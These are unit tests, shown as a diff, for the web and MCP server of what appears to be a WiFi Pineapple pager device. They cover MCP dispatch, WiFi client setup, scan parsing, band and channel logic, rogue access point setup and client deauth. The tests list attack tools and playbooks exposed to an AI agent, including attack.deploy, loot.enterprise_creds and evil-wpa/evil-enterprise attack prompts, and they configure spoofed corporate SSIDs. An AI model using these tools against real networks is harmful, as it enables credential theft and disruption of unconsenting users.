def test_health_endpoint_shape(self):
server._health['sigsegv_last'] = 7
status, payload = server.h_health(type('C', (), {'query': {}})())
self.assertEqual(status, 200)
self.assertEqual(payload['sigsegv_count'], 7)
self.assertIn('wlan1mon_up', payload)
self.assertIn('pool_disabled', payload)
if __name__ == '__main__':
unittest.main()
+123
View File
@@ -0,0 +1,123 @@
import os
import shutil
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, headers=None):
H = type('H', (), {'headers': headers or {}})()
return type('C', (), {'body': body, 'args': (), 'query': {}, 'h': H})()
class McpDispatchTest(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='pager-mcp-')
self.old_session = server.SESSION_FILE
self.old_device_run = server.device_run
self.old_daemon_sock_call = server.daemon_sock_call
server.SESSION_FILE = os.path.join(self.tmp, 'session.json')
with open(server.SESSION_FILE, 'w') as f:
import json
json.dump({'token': 't0k3n', 'serverid': 'x'}, f)
server.device_run = lambda args, timeout=20, input_data=None: (0, '', '')
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {
'pineap_disabled': False, 'pineape_disabled': True,
'autossidpool': True})
def tearDown(self):
server.SESSION_FILE = self.old_session
server.device_run = self.old_device_run
server.daemon_sock_call = self.old_daemon_sock_call
shutil.rmtree(self.tmp)
def msg(self, method, params=None, mid=1, jsonrpc='2.0'):
m = {'jsonrpc': jsonrpc, 'id': mid, 'method': method}
if params is not None:
m['params'] = params
return m
def test_initialize_negotiates_protocol(self):
status, body = server._mcp_dispatch(self.msg('initialize', {'protocolVersion': '2025-06-18'}))
self.assertEqual(status, 200)
self.assertEqual(body['result']['protocolVersion'], '2025-06-18')
self.assertIn('tools', body['result']['capabilities'])
self.assertEqual(body['result']['serverInfo']['name'], 'mark-viii')
def test_tools_list_has_attack_and_recon_tools(self):
status, body = server._mcp_dispatch(self.msg('tools/list'))
names = [t['name'] for t in body['result']['tools']]
self.assertIn('attack.deploy', names)
self.assertIn('device.state', names)
self.assertIn('recon.isearch', names)
self.assertIn('loot.enterprise_creds', names)
def test_tools_call_unknown_tool_errors(self):
status, body = server._mcp_dispatch(self.msg('tools/call', {'name': 'nope', 'arguments': {}}))
self.assertEqual(body['error']['code'], -32602)
def test_ping(self):
status, body = server._mcp_dispatch(self.msg('ping'))
self.assertEqual(body['result'], {})
def test_notifications_initialized_returns_202(self):
status, body = server._mcp_dispatch({'jsonrpc': '2.0', 'method': 'notifications/initialized'})
self.assertEqual(status, 202)
self.assertIsNone(body)
def test_resources_list_includes_skills(self):
status, body = server._mcp_dispatch(self.msg('resources/list'))
uris = [r['uri'] for r in body['result']['resources']]
self.assertIn('skills://pineapple-control', uris)
self.assertIn('device://state', uris)
def test_prompts_list_includes_playbooks(self):
status, body = server._mcp_dispatch(self.msg('prompts/list'))
names = [p['name'] for p in body['result']['prompts']]
self.assertIn('evil-wpa-attack', names)
self.assertIn('evil-enterprise-attack', names)
def test_bad_jsonrpc_rejected(self):
status, body = server._mcp_dispatch({'jsonrpc': '1.0', 'id': 1, 'method': 'ping'})
self.assertEqual(body['error']['code'], -32600)
def test_endpoint_auth_accepts_bearer_token(self):
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer t0k3n'}))
self.assertEqual(status, 200)
self.assertEqual(body['result'], {})
def test_endpoint_auth_rejects_bad_token(self):
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer wrong'}))
self.assertEqual(status, 401)
def test_deploy_tool_wraps_attack_handler(self):
server._uci_wifi_iface = lambda name: {}
server._uci_section = lambda name: {}
server._verify_iface = lambda name, timeout=20: True
server._allow_all_ssids = lambda: True
server._deploy_enterprise = lambda args: {'ok': True, 'verified': True,
'iface': 'wlan1ent', 'band': '5'}
status, body = server._mcp_dispatch(self.msg('tools/call', {
'name': 'attack.deploy',
'arguments': {'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', 'channel': 36}}))
self.assertEqual(status, 200)
text = body['result']['content'][0]['text']
self.assertIn('"verified": true', text)
def test_capabilities_endpoint(self):
status, body = server.h_harness_capabilities(ctx())
self.assertEqual(status, 200)
self.assertEqual(body['endpoint'], '/mcp')
self.assertIn('attack.deploy', [t['name'] for t in body['tools']])
self.assertIn('skills://wifi-deauth', [r['uri'] for r in body['resources']])
if __name__ == '__main__':
unittest.main()
+267
View File
@@ -41,6 +41,26 @@ class PayloadsProxyTest(unittest.TestCase):
server.h_payloads_remove(type('C', (), {'args': (), 'body': {'key': 'nautilus'}})())
self.assertTrue(any(m == 'POST' and '/api/payloads/portal/nautilus/remove' in p for m, p in calls))
def test_install_surfaces_daemon_error_detail(self):
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
500, {'error': 'network error: Get "https://downloads.hak5.org/.../download": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving'})
server.current_token = lambda: 'tok'
status, payload = server.h_payloads_install(type('C', (), {
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
self.assertEqual(status, 500)
self.assertIn('downloads.hak5.org', payload['detail'])
def test_install_unwraps_raw_json_daemon_error(self):
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
500, '{"error":"network error: Get \\"https://downloads.hak5.org/...\\": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving"}\n')
server.current_token = lambda: 'tok'
status, payload = server.h_payloads_install(type('C', (), {
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
self.assertEqual(status, 500)
self.assertIn('network error', payload['detail'])
self.assertIn('downloads.hak5.org', payload['detail'])
self.assertNotIn('{', payload['detail'])
def test_installed_inventory_flattens_firmware_records(self):
old = server._payload_daemon
server._payload_daemon = lambda method, path, body=None: (200, [{
@@ -275,5 +295,252 @@ class SettingsTest(unittest.TestCase):
self.assertNotIn('password', payload)
class WifiClientModeTest(unittest.TestCase):
@staticmethod
def fake_device_run(calls, responses):
def run(args, timeout=20, input_data=None):
calls.append((list(args), timeout))
key = (args[0], args[1])
return responses.get(key, (0, '', ''))
return run
def test_client_state_parses_disabled(self):
calls = []
run = self.fake_device_run(calls, {
('uci', 'show'): (0,
"wireless.wlan0cli=wifi-iface\n"
"wireless.wlan0cli.ssid='OldNet'\n"
"wireless.wlan0cli.disabled='1'\n"
"wireless.wlan0cli.routed='0'\n", ''),
('iw', 'dev'): (0, '', ''),
('ip', '-4'): (0, '', ''),
})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client(type('C', (), {})())
finally:
server.device_run = old
self.assertEqual(status, 200)
self.assertFalse(payload['enabled'])
self.assertFalse(payload['connected'])
self.assertEqual(payload['ssid'], 'OldNet')
self.assertFalse(payload['routed'])
self.assertEqual(payload['ip'], '')
def test_client_state_parses_connected(self):
calls = []
run = self.fake_device_run(calls, {
('uci', 'show'): (0,
"wireless.wlan0cli=wifi-iface\n"
"wireless.wlan0cli.ssid='All RPH Guest WIFI'\n"
"wireless.wlan0cli.disabled='0'\n"
"wireless.wlan0cli.routed='0'\n", ''),
('iw', 'dev'): (0,
"Connected to 02:18:4a:a7:6a:d9 (on wlan0cli)\n"
"\tSSID: All RPH Guest WIFI\n"
"\tfreq: 2462\n"
"\tsignal: -57 dBm\n", ''),
('ip', '-4'): (0,
"6: wlan0cli: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500\n"
" inet 10.10.10.5/24 brd 10.10.10.255 scope global wlan0cli\n", ''),
})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client(type('C', (), {})())
finally:
server.device_run = old
self.assertEqual(status, 200)
self.assertTrue(payload['enabled'])
self.assertTrue(payload['connected'])
self.assertEqual(payload['connected_ssid'], 'All RPH Guest WIFI')
self.assertEqual(payload['ip'], '10.10.10.5')
self.assertEqual(payload['signal'], -57)
self.assertEqual(payload['freq'], 2462)
def test_scan_parses_networks_and_deduplicates(self):
sample = (
"BSS 02:18:4a:a7:6a:d2(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -63.00 dBm\n"
"\tSSID: Riverwalk Plaza Staff\n"
"\tRSN:\t * Version: 1\n"
"\t\t * Group cipher: TKIP\n"
"\t\t * Pairwise ciphers: CCMP TKIP\n"
"\t\t * Authentication suites: PSK\n"
"BSS 02:18:4a:a7:6a:d9(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -61.00 dBm\n"
"\tSSID: All RPH Guest WIFI\n"
"\tRSN:\t * Version: 1\n"
"\t\t * Group cipher: CCMP\n"
"\t\t * Pairwise ciphers: CCMP\n"
"\t\t * Authentication suites: SAE\n"
"BSS ea:cb:bc:8e:c5:0e(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -50.00 dBm\n"
"\tSSID: OpenGuest\n"
"BSS c6:cb:bc:8e:c5:0e(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -55.00 dBm\n"
"\tSSID: \\x00\\x00\\x00\\x00\n"
"BSS 42:18:4a:a7:6a:d2(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -65.00 dBm\n"
"\tSSID: Riverwalk Plaza Staff\n"
"\tWPA:\t * Version: 1\n"
"\t\t * Group cipher: TKIP\n"
"\t\t * Authentication suites: PSK\n")
networks = server._parse_wifi_scan(sample)
by_ssid = {n['ssid']: n for n in networks}
self.assertIn('Riverwalk Plaza Staff', by_ssid)
self.assertIn('All RPH Guest WIFI', by_ssid)
self.assertIn('OpenGuest', by_ssid)
self.assertEqual(by_ssid['Riverwalk Plaza Staff']['encryption'], 'WPA2')
self.assertEqual(by_ssid['All RPH Guest WIFI']['encryption'], 'WPA3')
self.assertEqual(by_ssid['OpenGuest']['encryption'], 'Open')
self.assertEqual(by_ssid['OpenGuest']['channel'], 11)
# hidden SSID entries are omitted
self.assertNotIn('', by_ssid)
# strongest BSS per SSID wins and results are signal-sorted (strongest first)
self.assertEqual(networks[0]['ssid'], 'OpenGuest')
self.assertEqual(networks[0]['signal'], -50)
self.assertGreater(networks[0]['signal'], networks[1]['signal'])
def test_scan_reports_device_failure(self):
old = server.device_run
server.device_run = lambda args, timeout=20: (1, '', 'scan not supported')
try:
status, payload = server.h_settings_wifi_client_scan(type('C', (), {})())
finally:
server.device_run = old
self.assertEqual(status, 502)
self.assertIn('scan', payload['error'])
def test_connect_requires_ssid(self):
class H:
command = 'POST'
old = server.device_run
server.device_run = lambda args, timeout=20: (0, '', '')
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {'encryption': 'open'}})())
finally:
server.device_run = old
self.assertEqual(status, 400)
self.assertIn('SSID', payload['error'])
def test_connect_rejects_short_password(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {'ssid': 'X', 'encryption': 'wpa2', 'password': 'short'}})())
finally:
server.device_run = old
self.assertEqual(status, 400)
self.assertIn('password', payload['error'])
self.assertEqual(calls, [])
def test_connect_writes_uci_and_reloads(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
daemon_calls = []
old_run = server.device_run
old_sock = server.daemon_sock_call
server.device_run = run
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
daemon_calls.append((m, p, body)) or (200, {'success': True}))
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {
'ssid': 'All RPH Guest WIFI', 'encryption': 'wpa2wpa3',
'password': 'Missions1', 'routed': True}})())
finally:
server.device_run = old_run
server.daemon_sock_call = old_sock
self.assertEqual(status, 200)
sets = [args for args, _t in calls if args[:2] == ['uci', 'set']]
expected = {
'wireless.wlan0cli.ssid=All RPH Guest WIFI',
'wireless.wlan0cli.encryption=sae-mixed',
'wireless.wlan0cli.disabled=0',
'wireless.wlan0cli.routed=1',
'wireless.wlan0cli.key=Missions1',
}
got = {args[2] for args in sets}
self.assertTrue(expected <= got)
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
self.assertIn((['wifi', 'reload'], 45), calls)
self.assertEqual(daemon_calls,
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
def test_connect_open_clears_key(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
old_run = server.device_run
old_sock = server.daemon_sock_call
server.device_run = run
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (200, {'success': True})
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {'ssid': 'OpenGuest', 'encryption': 'open'}})())
finally:
server.device_run = old_run
server.daemon_sock_call = old_sock
self.assertEqual(status, 200)
self.assertIn((['uci', 'delete', 'wireless.wlan0cli.key'], 20), calls)
self.assertNotIn((['uci', 'set', 'wireless.wlan0cli.key='], 20), calls)
def test_route_toggle_writes_uci_and_syncs_daemon(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
daemon_calls = []
old_run = server.device_run
old_sock = server.daemon_sock_call
server.device_run = run
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
daemon_calls.append((m, p, body)) or (200, {'success': True}))
try:
status, payload = server.h_settings_wifi_client_route(
type('C', (), {'h': H(), 'body': {'routed': True}})())
finally:
server.device_run = old_run
server.daemon_sock_call = old_sock
self.assertEqual(status, 200)
self.assertIn((['uci', 'set', 'wireless.wlan0cli.routed=1'], 20), calls)
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
self.assertEqual(daemon_calls,
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
def test_disconnect_disables_and_reloads(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client_disconnect(
type('C', (), {'h': H(), 'body': {}})())
finally:
server.device_run = old
self.assertEqual(status, 200)
self.assertIn((['uci', 'set', 'wireless.wlan0cli.disabled=1'], 20), calls)
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
self.assertIn((['wifi', 'reload'], 45), calls)
if __name__ == '__main__':
unittest.main()
+367
View File
@@ -0,0 +1,367 @@
import os
import sys
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
class ChannelBandTest(unittest.TestCase):
def test_2g_channels(self):
for ch in (1, 6, 11, 14):
self.assertEqual(server.channel_band(ch), server.BAND_2G)
def test_5g_channels(self):
for ch in (36, 48, 100, 149, 165, 177):
self.assertEqual(server.channel_band(ch), server.BAND_5G)
def test_6g_channels(self):
for ch in (181, 189, 197, 205, 213, 225, 233):
self.assertEqual(server.channel_band(ch), server.BAND_6G)
def test_invalid(self):
for ch in (0, 15, 17, 21, 33, 35, 178, 234, None, 'x'):
self.assertIsNone(server.channel_band(ch))
class ChannelBandsConsistencyTest(unittest.TestCase):
def test_lists_match_channel_band(self):
for band, channels in server.CHANNEL_BANDS.items():
for ch in channels:
self.assertEqual(server.channel_band(ch), band, '%s should be %s' % (ch, band))
def test_no_out_of_list_channels(self):
for ch in list(range(0, 235)):
band = server.channel_band(ch)
if band is not None:
self.assertIn(ch, server.CHANNEL_BANDS[band], '%s should be listed for %s' % (ch, band))
def test_boundaries(self):
self.assertEqual(server.CHANNEL_BANDS[server.BAND_2G][-1], 14)
self.assertEqual(server.CHANNEL_BANDS[server.BAND_5G][-1], 177)
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][0], 181)
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][-1], 233)
class ChannelFreqTest(unittest.TestCase):
def test_freqs(self):
self.assertEqual(server.channel_freq(server.BAND_2G, 1), 2412)
self.assertEqual(server.channel_freq(server.BAND_2G, 11), 2462)
self.assertEqual(server.channel_freq(server.BAND_5G, 36), 5180)
self.assertEqual(server.channel_freq(server.BAND_5G, 165), 5825)
self.assertEqual(server.channel_freq(server.BAND_6G, 1), 5955)
self.assertEqual(server.channel_freq(server.BAND_6G, 233), 7115)
class BandAuxTest(unittest.TestCase):
def test_htmode(self):
self.assertEqual(server.band_htmode(server.BAND_2G), 'HT20')
self.assertEqual(server.band_htmode(server.BAND_5G), 'VHT80')
self.assertEqual(server.band_htmode(server.BAND_6G), 'HE80')
def test_radio(self):
self.assertEqual(server.band_radio(server.BAND_2G), 'radio0')
self.assertEqual(server.band_radio(server.BAND_5G), 'radio1')
self.assertEqual(server.band_radio(server.BAND_6G), 'radio1')
def test_dfs_marker(self):
for ch in (52, 64, 100, 144):
self.assertIn(ch, server.DFS_CHANNELS)
for ch in (36, 48, 149):
self.assertNotIn(ch, server.DFS_CHANNELS)
self.assertEqual(set(server.DFS_CHANNELS),
set(range(52, 65, 4)) | set(range(100, 145, 4)))
def ctx(body=None):
return type('C', (), {'body': body, 'args': (), 'query': {}})()
class GetApRadio1Test(unittest.TestCase):
def _uci(self, section):
table = {
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
'htmode': 'HT20', 'country': 'US'},
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
'htmode': 'VHT80', 'country': 'US'},
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
'disabled': '0', 'hidden': '0', 'encryption': 'none',
'channel': '11'},
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
'channel': '1', 'key': 'testpass123'},
'wlan1open': {'device': 'radio1', 'mode': 'ap', 'ssid': 'CorpGuest',
'disabled': '0', 'hidden': '0', 'encryption': 'none',
'channel': '36'},
'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
'disabled': '0', 'hidden': '0', 'encryption': 'sae',
'channel': '1', 'key': 'secret123'},
}
return dict(table.get(section, {}))
def setUp(self):
server._uci_wifi_iface = lambda name: self._uci(name)
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
def test_open_reports_radio1_when_present(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['radio1_open']['ssid'], 'CorpGuest')
self.assertEqual(payload['radio1_open']['channel'], 36)
self.assertEqual(payload['radio1_open']['country'], 'US')
# radio0 cards keep reporting radio0 truth
self.assertEqual(payload['open']['ssid'], 'pager-open')
def test_wpa_reports_radio1_when_present(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['radio1_wpa']['ssid'], 'Corp')
self.assertEqual(payload['radio1_wpa']['enctype'], 'sae')
self.assertEqual(payload['radio1_wpa']['channel'], 1)
self.assertEqual(payload['wpa']['ssid'], 'Service')
def test_radio1_info(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['radios']['radio1']['band'], server.BAND_5G)
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
self.assertEqual(payload['radios']['radio0']['band'], server.BAND_2G)
class GetApRadio1AbsentTest(unittest.TestCase):
"""Regression: no radio1 AP sections -> today's 2.4GHz behavior."""
def _uci(self, section):
table = {
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
'htmode': 'HT20', 'country': 'US'},
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
'htmode': 'VHT80', 'country': 'US'},
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
'disabled': '0', 'hidden': '0', 'encryption': 'none',
'channel': '11'},
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
'channel': '1', 'key': 'testpass123'},
}
return dict(table.get(section, {}))
def setUp(self):
server._uci_wifi_iface = lambda name: self._uci(name)
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
def test_open_uses_wlan0open(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['open']['ssid'], 'pager-open')
self.assertEqual(payload['open']['channel'], 11)
def test_wpa_uses_wlan0wpa(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['wpa']['ssid'], 'Service')
self.assertEqual(payload['wpa']['channel'], 1)
class SetApRadio1Test(unittest.TestCase):
def setUp(self):
self.uci = {}
self.runs = []
def fake_uci_get(section):
return self.uci.get(section)
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci[k] = v
if a[:2] == ['uci', 'get']:
return (0, self.uci.get(a[2], '') + '\n', '')
return (0, '', '')
server._uci_wifi_iface = fake_uci_get
server._uci_section = fake_uci_get
server.device_run = fake_run
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
200, {'success': True})
def test_5g_open_writes_radio1_sections(self):
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 36, 'country': 'US'}}))
self.assertEqual(self.uci['wireless.radio1.band'], '5g')
self.assertEqual(self.uci['wireless.radio1.channel'], '36')
self.assertEqual(self.uci['wireless.radio1.htmode'], 'VHT80')
self.assertEqual(self.uci['wireless.wlan1open'], 'wifi-iface')
self.assertEqual(self.uci['wireless.wlan1open.device'], 'radio1')
self.assertEqual(self.uci['wireless.wlan1open.disabled'], '0')
self.assertEqual(self.uci['wireless.wlan1open.ssid'], 'CorpGuest')
self.assertEqual(self.uci['wireless.wlan1open.encryption'], 'none')
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
self.assertIn(['wifi', 'reload'], [r[0] for r in self.runs])
self.assertIn(['/etc/init.d/pineapd', 'reload'], [r[0] for r in self.runs])
def test_6g_wpa_sae(self):
server.h_pineap_wifi_set_ap(ctx({'wpa': {
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
'hidden': False, 'enabled': True, 'channel': 181}}))
self.assertEqual(self.uci['wireless.radio1.band'], '6g')
self.assertEqual(self.uci['wireless.radio1.htmode'], 'HE80')
self.assertEqual(self.uci['wireless.wlan1wpa.encryption'], 'sae')
def test_6g_rejects_psk2(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'psk2',
'hidden': False, 'enabled': True, 'channel': 181}}))
self.assertEqual(status, 400)
def test_6g_open_rejected(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 181, 'country': 'US'}}))
self.assertEqual(status, 400)
self.assertIn('6GHz', payload['error'])
def test_6g_disable_removes_radio1(self):
self.uci['pineapd.wlan1mon.hop'] = '0'
self.uci['wlan1wpa'] = {'device': 'radio1'}
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
'hidden': False, 'enabled': False, 'channel': 181}}))
self.assertEqual(status, 200)
self.assertEqual(self.uci['wireless.radio1.channel'], 'auto')
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
def test_5g_open_rejects_bad_bssid(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'bssid': 'not-a-mac', 'hidden': False,
'enabled': True, 'channel': 36, 'country': 'US'}}))
self.assertEqual(status, 400)
def test_hop_read_failure_still_pauses(self):
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'get']:
return (1, '', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci[k] = v
return (0, '', '')
server.device_run = fake_run
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 36, 'country': 'US'}}))
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
def test_2g_still_uses_daemon_path(self):
calls = []
def fake_sock(method, path, body=None, timeout=10):
if method == 'GET':
return 200, {'loghandshake': True}
calls.append((method, path, body))
return 200, {'success': True}
server.daemon_sock_call = fake_sock
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
'channel': 11, 'country': 'US'}}))
put = [c for c in calls if c[0] == 'PUT']
self.assertEqual(len(put), 1)
self.assertEqual(put[0][1], '/api/settings/wifi/set_ap')
self.assertEqual(put[0][2]['configs'][0]['interface'], 'wlan0open')
def test_2g_removes_existing_radio1(self):
self.uci['pineapd.wlan1mon.hop'] = '0'
self.uci['wlan1open'] = {'device': 'radio1'}
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
'channel': 11, 'country': 'US'}}))
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
self.assertEqual(self.uci.get('wireless.radio1.channel'), 'auto')
def test_mixed_24g_and_radio1_rejected(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({
'open': {'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 36, 'country': 'US'},
'wpa': {'ssid': 'Office', 'passphrase': 'secret123', 'enctype': 'psk2',
'hidden': False, 'enabled': True, 'channel': 6}}))
self.assertEqual(status, 400)
self.assertIn('2.4GHz', payload['error'])
class GetApRadioChannelFallbackTest(unittest.TestCase):
"""Regression: iface without a channel option inherits the radio channel."""
def _uci(self, section):
table = {
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
'htmode': 'HT20', 'country': 'US'},
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
'htmode': 'VHT80', 'country': 'US'},
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
'disabled': '0', 'hidden': '0', 'encryption': 'none'},
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
'key': 'testpass123'},
}
return dict(table.get(section, {}))
def setUp(self):
server._uci_wifi_iface = lambda name: self._uci(name)
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
def test_open_falls_back_to_radio_channel(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['open']['channel'], 11)
def test_wpa_falls_back_to_radio_channel(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['wpa']['channel'], 11)
class GetApReconcileTest(unittest.TestCase):
def setUp(self):
server._last_reconcile = 0.0
self.uci = {'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
'disabled': '0', 'encryption': 'sae', 'channel': '36'}}
self.runs = []
server._uci_wifi_iface = lambda name: dict(self.uci.get(name, {}))
server._uci_section = lambda name: {}
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
server.device_run = lambda args, timeout=20, input_data=None: (
self.runs.append(list(args)) or (0, '', ''))
def test_missing_netdev_triggers_wifi_reload(self):
server.os.path.exists = lambda p: False
server.h_pineap_wifi_get_ap(ctx())
self.assertIn(['wifi', 'reload'], self.runs)
def test_present_netdev_skips_reload(self):
server.os.path.exists = lambda p: True
server.h_pineap_wifi_get_ap(ctx())
self.assertNotIn(['wifi', 'reload'], self.runs)
def test_disabled_section_skips_reload(self):
self.uci['wlan1wpa']['disabled'] = '1'
server.os.path.exists = lambda p: False
server.h_pineap_wifi_get_ap(ctx())
self.assertNotIn(['wifi', 'reload'], self.runs)
if __name__ == '__main__':
unittest.main()
+51 -15
View File
@@ -9,8 +9,10 @@ import server
def setUpModule():
__import__('importlib').reload(server)
_orig_hak5 = server.hak5
_orig_device_run = server.device_run
_orig_assoc_clients = server.assoc_clients
_orig_iface_ap_info = server._iface_ap_info
_orig_pineap = server._pineap
class NormalizeTest(unittest.TestCase):
@@ -24,8 +26,10 @@ class NormalizeTest(unittest.TestCase):
class ClientsTest(unittest.TestCase):
def tearDown(self):
server.hak5 = _orig_hak5
server.device_run = _orig_device_run
server.assoc_clients = _orig_assoc_clients
server._iface_ap_info = _orig_iface_ap_info
server._pineap = _orig_pineap
def test_clients_handler(self):
server.assoc_clients = lambda: [{'mac': 'AA:BB:CC:DD:EE:FF', 'iface': 'wlan0open', 'rssi': -55}]
@@ -35,15 +39,37 @@ class ClientsTest(unittest.TestCase):
self.assertEqual(status, 200)
self.assertEqual(payload['count'], 1)
def test_kick_validates_and_deny_adds(self):
def _kick_env(self):
calls = []
def fake(*args):
calls.append(args)
return 'ok'
server.hak5 = fake
def fake_run(argv, timeout=30):
calls.append(argv)
return 0, '', ''
server.device_run = fake_run
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan0open', 'rssi': -55}]
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 6)
server._pineap = lambda *a, **k: (0, '', '')
return calls
def test_kick_validates_and_deny_adds(self):
calls = self._kick_env()
server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
self.assertIn(('PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'), calls)
self.assertTrue(any(c[0] == 'PINEAPPLE_DEAUTH_CLIENT' for c in calls))
self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
# The immediate deauth must use the full bssid/target/channel form.
